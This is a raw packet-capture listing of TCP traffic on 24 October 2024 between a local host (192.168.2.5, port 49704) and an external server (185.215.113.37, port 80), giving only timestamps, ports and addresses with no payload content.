Oct 24, 2024 11:02:31.755677938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.755691051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.755705118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.755706072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.755738020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.755758047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.755760908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.755826950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.755839109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.755858898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.755873919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.755886078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.755894899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.755903006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.755928993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.755978107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.755981922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.755995989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.756014109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.756027937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.756027937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.756043911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.756050110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.756056070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.756081104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.872632027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.872665882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.872683048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.872699022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.872720003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.872735023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.872762918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.872807026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.872809887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.872829914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.872844934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.872849941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.872869968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.872878075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.872884989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.872900963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.872915030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.872930050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.872946024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.872961044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.872992992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.872992992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.872992992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.872992992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.872992992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.872992992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873007059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873022079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873047113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873051882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873071909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873086929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873087883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873107910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873117924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873151064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873200893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873217106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873231888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873255014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873269081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873275995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873284101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873298883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873300076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873315096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873325109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873330116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873343945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873359919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873373985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873385906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873385906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873392105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873408079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873421907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873450994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873491049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873506069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873519897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873533964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873548031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873564005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873570919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873601913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873606920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873620987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873622894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873636007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873650074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873666048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873680115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873697042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873718977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873718977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873718977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873728037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873744011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873749018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873760939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873775005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873781919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873790979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873807907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873807907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873825073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873835087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873848915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873858929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873863935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873879910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873887062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873927116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873930931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873940945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873941898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873955965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873972893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.873979092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873979092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.873994112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874058008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874061108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874073982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874092102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874108076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874109030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874123096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874138117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874152899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874161005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874161005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874176025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874181032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874203920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874209881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874218941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874221087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874243975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874258995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874259949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874275923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874301910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874336004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874351978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874366999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874381065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874396086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874411106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874425888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874428988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874442101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874456882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874473095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874484062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874497890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874499083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874512911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874526978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874527931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874540091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874543905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874558926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874562025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874569893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874573946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874589920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874604940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874619961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874628067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874628067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874628067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874638081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874651909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874651909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874667883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874680042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874710083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874803066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874818087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874831915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874846935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874861956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874866962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874877930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874886036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874892950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874905109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874907970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874922991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874932051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874938011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874953985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:31.874958038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.874985933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:31.875009060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.205722094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.211070061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.489653111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.489664078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.489737988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.489764929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.489792109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.489804029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.489810944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.489849091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.489856958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.489860058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.489872932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.489883900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.489912033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.489913940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.489927053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.489931107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.489945889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.489957094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.489964008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.489998102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.490008116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.490019083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.490031004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.490044117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.490056038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.490065098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.490082026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.490118027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.490130901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.490139008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.490143061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.490181923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.490912914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.490973949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.490986109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491007090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491019011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491027117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.491030931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491054058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.491077900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.491159916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491178989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491190910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491203070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.491209030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491220951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491231918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.491235018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491246939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491259098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491261959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.491272926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491283894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491283894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.491298914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491301060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.491338015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.491358042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491370916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491383076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491400957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491405964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.491413116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491424084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.491425037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491436958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491446972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491456032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.491458893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491470098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491483927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.491517067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.491542101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491553068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491566896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491578102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491590023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491631031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.491631031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.491650105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.491723061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491738081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491755962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491763115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491769075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491780043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491790056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.491794109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491806984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491808891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.491820097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491832018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491842985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491847992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.491854906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491862059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.491867065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491874933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.491879940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491892099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:32.491914988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:32.491935968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:33.371757984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:33.371794939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:33.377191067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:33.377206087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:34.160156012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:34.160243034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:34.307029009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:34.312295914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:34.593238115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:34.593271017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:34.593281984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:34.593292952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:34.593441963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:34.600632906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:34.606098890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:35.219531059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:35.219691992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:35.223144054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:35.223222017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:35.233968973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:35.241252899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:36.021228075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:36.021311998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:36.048899889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:36.054399014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:36.341530085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:36.341593027 CEST	80	49704	185.215.113.37	192.168.2.5
